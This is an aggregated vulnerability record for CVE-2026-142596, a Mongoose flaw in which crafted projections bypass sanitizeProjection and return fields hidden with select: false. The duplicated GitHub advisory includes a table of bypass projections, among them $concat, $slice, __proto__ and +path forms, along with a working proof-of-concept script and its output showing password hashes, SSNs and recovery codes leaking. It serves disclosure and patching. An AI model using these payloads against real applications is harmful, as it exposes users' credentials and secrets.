{"id":"CVE-2026-142596","aliases":["CLSA-2026-1796376974","CLSA-2026-1796426791","DHI-rv4r-yle2-dbrm-fyvo","EUVD-2026-141931","GHSA-xfcm-rmv3-crmq"],"status":"published","title":"Mongoose: sanitizeProjection can be bypassed to include fields deselected with `select: false`","description":"Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. From 8.5.0 until 8.24.10 and 9.12.2, Mongoose's sanitizeProjection can be bypassed by +path selections, object or array aggregation expressions, nested and parent projections, positional projections, $meta, discriminator-specific exclusions, an own __proto__ key, and projection-cast error paths. Applications that pass attacker-controlled data to select(), find(filter, projection), or the projection option while relying on sanitizeProjection can return fields marked select: false, including password hashes, reset tokens, API keys, and nested secrets. Nested exclusion objects, $elemMatch combined with an exclusion or a cast error, and discriminator filters can also cause ordinary queries that do not enable sanitizeProjection to omit the select: false exclusions that Mongoose normally adds. This issue is fixed in versions 8.24.10 and 9.12.2.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-12-04","score":0.00685,"percentile":0.54,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-200"],"published":"2026-12-02T21:50:31.552Z","modified":"2026-12-05T03:00:56Z","exploits":[{"source":"pocgithub","id":"googlesky/CVE-2026-142596","title":"googlesky/CVE-2026-142596","date":"2026-12-04","url":"https://github.com/googlesky/CVE-2026-142596"}],"fixes":[{"ecosystem":"npm","package":"mongoose","fixed_in":["8.24.10","9.12.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"mongoose","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.5.0"},{"fixed":"8.24.10"}]}]},{"source":"ghsa","ecosystem":"npm","package":"mongoose","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0"},{"fixed":"9.12.2"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"mongoose","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.10.4-tuxcare.0"},{"fixed":"9.10.4-tuxcare.3"}]}],"versions":["9.10.4","9.10.4-tuxcare.1","9.10.4-tuxcare.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"mongoose","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.10.1-tuxcare.0"},{"fixed":"9.10.1-tuxcare.2"}]}],"versions":["9.10.1","9.10.1-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-r0"}]}],"versions":["0.8.8-r0","0.8.8-r1","0.8.8-r2","0.8.8-r3","0.8.8-r4","0.8.8-r5","0.8.8-r6","0.8.9-r0","0.8.9-r1","0.8.9-r2","0.8.9-r3"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-r0"}]}],"versions":["0.8.8-r0","0.8.8-r1","0.8.8-r2","0.8.8-r3","0.8.8-r4","0.8.8-r5","0.8.8-r6","0.8.9-r0","0.8.9-r1","0.8.9-r2","0.8.9-r3"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-0"}]}],"versions":["0.8.8-0","0.8.8-1","0.8.8-2","0.8.8-3","0.8.8-4","0.8.8-5","0.8.9-0","0.8.9-1","0.8.9-2","0.8.9-3","0.8.9-4"]},{"source":"osv","ecosystem":"npm","package":"mongoose","ranges":[{"type":"SEMVER","events":[{"introduced":"8.5.0"},{"fixed":"8.24.10"}]}]},{"source":"osv","ecosystem":"npm","package":"mongoose","ranges":[{"type":"SEMVER","events":[{"introduced":"9.0.0"},{"fixed":"9.12.2"}]}]}],"products":[{"vendor":"automattic","product":"mongoose"}],"references":[{"url":"https://github.com/Automattic/mongoose/security/advisories/GHSA-xfcm-rmv3-crmq","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/Automattic/mongoose/commit/c369da407ee8bea907bb5af7bb94ce5deeb3e0e4","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/Automattic/mongoose/commit/c5483b71438ececde3a272feef65e14666614093","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/Automattic/mongoose/releases/tag/8.24.10","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/Automattic/mongoose/releases/tag/9.12.2","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-142596","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xfcm-rmv3-crmq","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/142xxx/CVE-2026-142596.json","tags":["advisory"]},{"url":"https://scout.docker.com/v/DHI-rv4r-yle2-dbrm-fyvo","tags":["advisory"]},{"url":"https://github.com/Automattic/mongoose","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-142596","title":"Mongoose: sanitizeProjection can be bypassed to include fields deselected with `select: false`","description":"Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. From 8.5.0 until 8.24.10 and 9.12.2, Mongoose's sanitizeProjection can be bypassed by +path selections, object or array aggregation expressions, nested and parent projections, positional projections, $meta, discriminator-specific exclusions, an own __proto__ key, and projection-cast error paths. Applications that pass attacker-controlled data to select(), find(filter, projection), or the projection option while relying on sanitizeProjection can return fields marked select: false, including password hashes, reset tokens, API keys, and nested secrets. Nested exclusion objects, $elemMatch combined with an exclusion or a cast error, and discriminator filters can also cause ordinary queries that do not enable sanitizeProjection to omit the select: false exclusions that Mongoose normally adds. This issue is fixed in versions 8.24.10 and 9.12.2.","status":"published","published":"2026-12-02T21:50:31.552Z","modified":"2026-12-03T16:10:46.056Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-200"],"ssvc":{"exploitation":"none","automatable":"yes","technical_impact":"partial","date":"2026-12-03"},"updated_at":"2026-12-03T16:22:12.411461Z"}],"euvd":[{"id":"EUVD-2026-141931","description":"Mongoose: sanitizeProjection can be bypassed to include fields deselected with `select: false`","status":"published","published":"2026-12-04T00:02:36Z","modified":"2026-12-04T00:02:36Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-12-04T01:36:01.787168Z"}],"ghsa":[{"id":"GHSA-xfcm-rmv3-crmq","title":"Mongoose: sanitizeProjection can be bypassed to include fields deselected with `select: false`","description":"### Summary\n\nSince Mongoose 8.5.0, the `sanitizeProjection` option prevents untrusted projections from including fields that the schema deselects with `select: false`, like password hashes and reset tokens. Several projection forms got around that check, so a user-controlled projection could still return `select: false` fields even with `sanitizeProjection` enabled.\n\nMongoose versions before 8.5.0 do **not** make `sanitizeProjection` block including `select: false` keys - hiding `select: false` keys was a new feature introduced in Mongoose 8.5.0.\n\n### Details\n\nGiven:\n\n```javascript\nconst User = mongoose.model('User', new Schema({\n  name: String,\n  password: { type: String, select: false },\n  profile: { bio: String, ssn: { type: String, select: false } },\n  secrets: { type: Map, of: String, select: false },\n  recoveryCodes: { type: [String], select: false },\n  tags: [String],\n  comments: [{ text: String, secret: { type: String, select: false } }]\n}));\n```\n\neach of the following returned `select: false` data with `sanitizeProjection` enabled:\n\n| Projection | Why it got through |\n| --- | --- |\n| `select('-name +password')` | `+path` was only blocked in inclusive projections |\n| `select('-+password')` | Collapsing `-` paths turned it into `+password` |\n| `select('+secrets')` | `+path` was not blocked for map paths |\n| `select({ name: { $concat: ['$password'] } })`, `select({ name: ['$password'] })` | Object and array values are aggregation expressions; only string values were sanitized |\n| `select({ tags: { $slice: ['$recoveryCodes', 1] } })` | A two-element `$slice` with an expression is an aggregation expression |\n| `select({ name: { $meta: 'sortKey' } }).sort({ password: 1 })`, `{ $meta: 'indexKey' }` | `$meta` returned sort and index key values |\n| `select({ name: '$password' })` called before `sanitizeProjection(true)` | String values were only sanitized if the option was set first |\n| `select({ profile: { ssn: 1 } })`, `select({ profile: { bio: '$password' } })` | Nested sub-projections were not checked |\n| `select('profile')` | Selecting a parent path included its `select: false` children |\n| `select({ 'comments.$': 1 })` | The positional projection returned the whole array element |\n| `select(JSON.parse('{\"__proto__\":{\"password\":0}}'))` | An own `__proto__` key re-pointed the projection object's prototype, hiding `select: false` exclusions |\n| `select({ profile: { bio: 0 } })` | Nested exclusion objects were treated as inclusive, so `select: false` exclusions were not added |\n| `select({ tags: { $elemMatch: { $eq: 'a' } }, name: 0 })` | Treated as inclusive, but MongoDB treats it as exclusive |\n| `select({ name: { x: 1, $elemMatch: { $eq: 'a' } } })` | The `$elemMatch` cast error was swallowed and the whole projection was dropped |\n| `schemaLevelProjections(false)` with any expression above | Disabling schema-level projections also disabled `sanitizeProjection` |\n| `User.findOne({ __t: 'Admin' })` | `select: false` fields defined only on a discriminator were not excluded, even when the filter selects that discriminator |\n\nFor example:\n\n```javascript\nawait User.findOne().sanitizeProjection(true).select('-name +password');\n// { password: '\u003cpassword hash\u003e', ... }\n\nawait User.findOne().sanitizeProjection(true).select({ name: { $concat: ['$password'] } });\n// { name: '\u003cpassword hash\u003e' }\n```\n\nNested exclusion objects, `$elemMatch` combined with an exclusion, `$elemMatch` cast errors, and discriminator filters also affect queries that do not use `sanitizeProjection`, because they cause Mongoose to leave out the `select: false` exclusions it normally adds.\n\n### Proof of concept\n\nRequires a MongoDB server on `localhost` and `npm install mongoose@9.12.1` (or any affected version).\n\n```javascript\nconst mongoose = require('mongoose');\nconst { Schema } = mongoose;\n\n(async () =\u003e {\n  await mongoose.connect('mongodb://127.0.0.1:27017/sanitize_projection_poc');\n\n  const User = mongoose.model('User', new Schema({\n    name: String,\n    password: { type: String, select: false },\n    profile: { bio: String, ssn: { type: String, select: false } },\n    recoveryCodes: { type: [String], select: false }\n  }));\n  await User.deleteMany({});\n  await User.create({ name: 'alice', password: 'HASH', profile: { bio: 'hi', ssn: '123-45-6789' }, recoveryCodes: ['CODE1'] });\n\n  // Attacker-controlled projections, passed to a query with `sanitizeProjection` enabled\n  const attacks = [\n    '-name +password',\n    '-+password',\n    { name: { $concat: ['$password'] } },\n    { name: ['$password'] },\n    { name: 1, profile: { $slice: ['$recoveryCodes', 1] } },\n    { profile: { ssn: 1 } },\n    'profile',\n    JSON.parse('{\"__proto__\":{\"password\":0}}'),\n    { name: { x: 1, $elemMatch: { $eq: 'alice' } } }\n  ];\n  for (const projection of attacks) {\n    const doc = await User.findOne().sanitizeProjection(true).select(projection).lean().catch(err =\u003e err.message);\n    console.log(JSON.stringify(projection), '=\u003e', JSON.stringify(doc));\n  }\n\n  await mongoose.disconnect();\n})();\n```\n\nOutput on an affected version, with `_id` and `__v` removed. Every line includes a `select: false` value:\n\n```\n\"-name +password\" =\u003e {\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n\"-+password\" =\u003e {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"$concat\":[\"$password\"]}} =\u003e {\"name\":\"HASH\"}\n{\"name\":[\"$password\"]} =\u003e {\"name\":[\"HASH\"]}\n{\"name\":1,\"profile\":{\"$slice\":[\"$recoveryCodes\",1]}} =\u003e {\"name\":\"alice\",\"profile\":[\"CODE1\"]}\n{\"profile\":{\"ssn\":1}} =\u003e {\"profile\":{\"ssn\":\"123-45-6789\"}}\n\"profile\" =\u003e {\"profile\":{\"bio\":\"hi\",\"ssn\":\"123-45-6789\"}}\n{\"__proto__\":{\"password\":0}} =\u003e {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"x\":1,\"$elemMatch\":{\"$eq\":\"alice\"}}} =\u003e {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\",\"ssn\":\"123-45-6789\"},\"recoveryCodes\":[\"CODE1\"]}\n```\n\nOutput on a patched version. No `select: false` values are returned, and the last projection rejects:\n\n```\n\"-name +password\" =\u003e {\"profile\":{\"bio\":\"hi\"}}\n\"-+password\" =\u003e {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"$concat\":[\"$password\"]}} =\u003e {\"name\":\"alice\"}\n{\"name\":[\"$password\"]} =\u003e {\"name\":\"alice\"}\n{\"name\":1,\"profile\":{\"$slice\":[\"$recoveryCodes\",1]}} =\u003e {\"name\":\"alice\"}\n{\"profile\":{\"ssn\":1}} =\u003e {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n\"profile\" =\u003e {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"__proto__\":{\"password\":0}} =\u003e {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"x\":1,\"$elemMatch\":{\"$eq\":\"alice\"}}} =\u003e \"Can't use x with String.\"\n```\n\n### Impact\n\nApplications are affected if they pass user-controlled data into `select()`, `find(filter, projection)`, or the `projection` option, and rely on `sanitizeProjection` to keep `select: false` fields hidden. An attacker can read those fields, which typically hold password hashes, reset tokens, API keys, or other secrets.","status":"published","published":"2026-12-04T00:02:36Z","modified":"2026-12-04T00:02:39Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200"],"updated_at":"2026-12-04T00:22:08.074796Z"}],"nvd":[{"id":"CVE-2026-142596","description":"Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. From 8.5.0 until 8.24.10 and 9.12.2, Mongoose's sanitizeProjection can be bypassed by +path selections, object or array aggregation expressions, nested and parent projections, positional projections, $meta, discriminator-specific exclusions, an own __proto__ key, and projection-cast error paths. Applications that pass attacker-controlled data to select(), find(filter, projection), or the projection option while relying on sanitizeProjection can return fields marked select: false, including password hashes, reset tokens, API keys, and nested secrets. Nested exclusion objects, $elemMatch combined with an exclusion or a cast error, and discriminator filters can also cause ordinary queries that do not enable sanitizeProjection to omit the select: false exclusions that Mongoose normally adds. This issue is fixed in versions 8.24.10 and 9.12.2.","status":"published","published":"2026-12-02T22:18:37.377Z","modified":"2026-12-03T17:18:04.94Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-200"],"ssvc":{"exploitation":"none","automatable":"yes","technical_impact":"partial","date":"2026-12-03"},"updated_at":"2026-12-03T17:18:31.165971Z"}],"osv":[{"id":"CVE-2026-142596","title":"Mongoose: sanitizeProjection can be bypassed to include fields deselected with `select: false`","description":"Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. From 8.5.0 until 8.24.10 and 9.12.2, Mongoose's sanitizeProjection can be bypassed by +path selections, object or array aggregation expressions, nested and parent projections, positional projections, $meta, discriminator-specific exclusions, an own __proto__ key, and projection-cast error paths. Applications that pass attacker-controlled data to select(), find(filter, projection), or the projection option while relying on sanitizeProjection can return fields marked select: false, including password hashes, reset tokens, API keys, and nested secrets. Nested exclusion objects, $elemMatch combined with an exclusion or a cast error, and discriminator filters can also cause ordinary queries that do not enable sanitizeProjection to omit the select: false exclusions that Mongoose normally adds. This issue is fixed in versions 8.24.10 and 9.12.2.","status":"published","published":"2026-12-02T21:50:31.552Z","modified":"2026-12-04T20:45:57.463383856Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200"],"updated_at":"2026-12-03T21:10:05.302032Z"},{"id":"DHI-rv4r-yle2-dbrm-fyvo","upstream":["CVE-2026-142596"],"title":"Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. From 8.5.0 until 8.24.10…","description":"Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. From 8.5.0 until 8.24.10 and 9.12.2, Mongoose's sanitizeProjection can be bypassed by +path selections, object or array aggregation expressions, nested and parent projections, positional projections, $meta, discriminator-specific exclusions, an own __proto__ key, and projection-cast error paths. Applications that pass attacker-controlled data to select(), find(filter, projection), or the projection option while relying on sanitizeProjection can return fields marked select: false, including password hashes, reset tokens, API keys, and nested secrets. Nested exclusion objects, $elemMatch combined with an exclusion or a cast error, and discriminator filters can also cause ordinary queries that do not enable sanitizeProjection to omit the select: false exclusions that Mongoose normally adds. This issue is fixed in versions 8.24.10 and 9.12.2.","status":"published","published":"2026-12-04T02:10:36Z","modified":"2026-12-04T02:15:45.307235508Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-12-04T02:21:28.919339Z"},{"id":"GHSA-xfcm-rmv3-crmq","title":"Mongoose: sanitizeProjection can be bypassed to include fields deselected with `select: false`","description":"### Summary\n\nSince Mongoose 8.5.0, the `sanitizeProjection` option prevents untrusted projections from including fields that the schema deselects with `select: false`, like password hashes and reset tokens. Several projection forms got around that check, so a user-controlled projection could still return `select: false` fields even with `sanitizeProjection` enabled.\n\nMongoose versions before 8.5.0 do **not** make `sanitizeProjection` block including `select: false` keys - hiding `select: false` keys was a new feature introduced in Mongoose 8.5.0.\n\n### Details\n\nGiven:\n\n```javascript\nconst User = mongoose.model('User', new Schema({\n  name: String,\n  password: { type: String, select: false },\n  profile: { bio: String, ssn: { type: String, select: false } },\n  secrets: { type: Map, of: String, select: false },\n  recoveryCodes: { type: [String], select: false },\n  tags: [String],\n  comments: [{ text: String, secret: { type: String, select: false } }]\n}));\n```\n\neach of the following returned `select: false` data with `sanitizeProjection` enabled:\n\n| Projection | Why it got through |\n| --- | --- |\n| `select('-name +password')` | `+path` was only blocked in inclusive projections |\n| `select('-+password')` | Collapsing `-` paths turned it into `+password` |\n| `select('+secrets')` | `+path` was not blocked for map paths |\n| `select({ name: { $concat: ['$password'] } })`, `select({ name: ['$password'] })` | Object and array values are aggregation expressions; only string values were sanitized |\n| `select({ tags: { $slice: ['$recoveryCodes', 1] } })` | A two-element `$slice` with an expression is an aggregation expression |\n| `select({ name: { $meta: 'sortKey' } }).sort({ password: 1 })`, `{ $meta: 'indexKey' }` | `$meta` returned sort and index key values |\n| `select({ name: '$password' })` called before `sanitizeProjection(true)` | String values were only sanitized if the option was set first |\n| `select({ profile: { ssn: 1 } })`, `select({ profile: { bio: '$password' } })` | Nested sub-projections were not checked |\n| `select('profile')` | Selecting a parent path included its `select: false` children |\n| `select({ 'comments.$': 1 })` | The positional projection returned the whole array element |\n| `select(JSON.parse('{\"__proto__\":{\"password\":0}}'))` | An own `__proto__` key re-pointed the projection object's prototype, hiding `select: false` exclusions |\n| `select({ profile: { bio: 0 } })` | Nested exclusion objects were treated as inclusive, so `select: false` exclusions were not added |\n| `select({ tags: { $elemMatch: { $eq: 'a' } }, name: 0 })` | Treated as inclusive, but MongoDB treats it as exclusive |\n| `select({ name: { x: 1, $elemMatch: { $eq: 'a' } } })` | The `$elemMatch` cast error was swallowed and the whole projection was dropped |\n| `schemaLevelProjections(false)` with any expression above | Disabling schema-level projections also disabled `sanitizeProjection` |\n| `User.findOne({ __t: 'Admin' })` | `select: false` fields defined only on a discriminator were not excluded, even when the filter selects that discriminator |\n\nFor example:\n\n```javascript\nawait User.findOne().sanitizeProjection(true).select('-name +password');\n// { password: '\u003cpassword hash\u003e', ... }\n\nawait User.findOne().sanitizeProjection(true).select({ name: { $concat: ['$password'] } });\n// { name: '\u003cpassword hash\u003e' }\n```\n\nNested exclusion objects, `$elemMatch` combined with an exclusion, `$elemMatch` cast errors, and discriminator filters also affect queries that do not use `sanitizeProjection`, because they cause Mongoose to leave out the `select: false` exclusions it normally adds.\n\n### Proof of concept\n\nRequires a MongoDB server on `localhost` and `npm install mongoose@9.12.1` (or any affected version).\n\n```javascript\nconst mongoose = require('mongoose');\nconst { Schema } = mongoose;\n\n(async () =\u003e {\n  await mongoose.connect('mongodb://127.0.0.1:27017/sanitize_projection_poc');\n\n  const User = mongoose.model('User', new Schema({\n    name: String,\n    password: { type: String, select: false },\n    profile: { bio: String, ssn: { type: String, select: false } },\n    recoveryCodes: { type: [String], select: false }\n  }));\n  await User.deleteMany({});\n  await User.create({ name: 'alice', password: 'HASH', profile: { bio: 'hi', ssn: '123-45-6789' }, recoveryCodes: ['CODE1'] });\n\n  // Attacker-controlled projections, passed to a query with `sanitizeProjection` enabled\n  const attacks = [\n    '-name +password',\n    '-+password',\n    { name: { $concat: ['$password'] } },\n    { name: ['$password'] },\n    { name: 1, profile: { $slice: ['$recoveryCodes', 1] } },\n    { profile: { ssn: 1 } },\n    'profile',\n    JSON.parse('{\"__proto__\":{\"password\":0}}'),\n    { name: { x: 1, $elemMatch: { $eq: 'alice' } } }\n  ];\n  for (const projection of attacks) {\n    const doc = await User.findOne().sanitizeProjection(true).select(projection).lean().catch(err =\u003e err.message);\n    console.log(JSON.stringify(projection), '=\u003e', JSON.stringify(doc));\n  }\n\n  await mongoose.disconnect();\n})();\n```\n\nOutput on an affected version, with `_id` and `__v` removed. Every line includes a `select: false` value:\n\n```\n\"-name +password\" =\u003e {\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n\"-+password\" =\u003e {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"$concat\":[\"$password\"]}} =\u003e {\"name\":\"HASH\"}\n{\"name\":[\"$password\"]} =\u003e {\"name\":[\"HASH\"]}\n{\"name\":1,\"profile\":{\"$slice\":[\"$recoveryCodes\",1]}} =\u003e {\"name\":\"alice\",\"profile\":[\"CODE1\"]}\n{\"profile\":{\"ssn\":1}} =\u003e {\"profile\":{\"ssn\":\"123-45-6789\"}}\n\"profile\" =\u003e {\"profile\":{\"bio\":\"hi\",\"ssn\":\"123-45-6789\"}}\n{\"__proto__\":{\"password\":0}} =\u003e {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"x\":1,\"$elemMatch\":{\"$eq\":\"alice\"}}} =\u003e {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\",\"ssn\":\"123-45-6789\"},\"recoveryCodes\":[\"CODE1\"]}\n```\n\nOutput on a patched version. No `select: false` values are returned, and the last projection rejects:\n\n```\n\"-name +password\" =\u003e {\"profile\":{\"bio\":\"hi\"}}\n\"-+password\" =\u003e {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"$concat\":[\"$password\"]}} =\u003e {\"name\":\"alice\"}\n{\"name\":[\"$password\"]} =\u003e {\"name\":\"alice\"}\n{\"name\":1,\"profile\":{\"$slice\":[\"$recoveryCodes\",1]}} =\u003e {\"name\":\"alice\"}\n{\"profile\":{\"ssn\":1}} =\u003e {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n\"profile\" =\u003e {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"__proto__\":{\"password\":0}} =\u003e {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"x\":1,\"$elemMatch\":{\"$eq\":\"alice\"}}} =\u003e \"Can't use x with String.\"\n```\n\n### Impact\n\nApplications are affected if they pass user-controlled data into `select()`, `find(filter, projection)`, or the `projection` option, and rely on `sanitizeProjection` to keep `select: false` fields hidden. An attacker can read those fields, which typically hold password hashes, reset tokens, API keys, or other secrets.","status":"published","published":"2026-12-04T00:02:36Z","modified":"2026-12-04T00:15:20.510664407Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200"],"updated_at":"2026-12-04T00:49:15.699073Z"},{"id":"CLSA-2026-1796376974","upstream":["CVE-2026-142595","CVE-2026-142596"],"title":"TuxCare security update for mongoose (2 CVEs)","description":"TuxCare rebuilt mongoose to address 2 CVEs. Fixed in 9.10.4-tuxcare.3.","status":"published","published":"2026-12-04T10:36:15Z","modified":"2026-12-05T03:00:54.484593805Z","updated_at":"2026-12-05T03:12:49.613263Z"},{"id":"CLSA-2026-1796426791","upstream":["CVE-2026-142595","CVE-2026-142596"],"title":"TuxCare security update for mongoose (2 CVEs)","description":"TuxCare rebuilt mongoose to address 2 CVEs. Fixed in 9.10.1-tuxcare.2.","status":"published","published":"2026-12-05T00:26:32Z","modified":"2026-12-05T03:00:56.521605116Z","updated_at":"2026-12-05T03:12:37.768713Z"}]}}
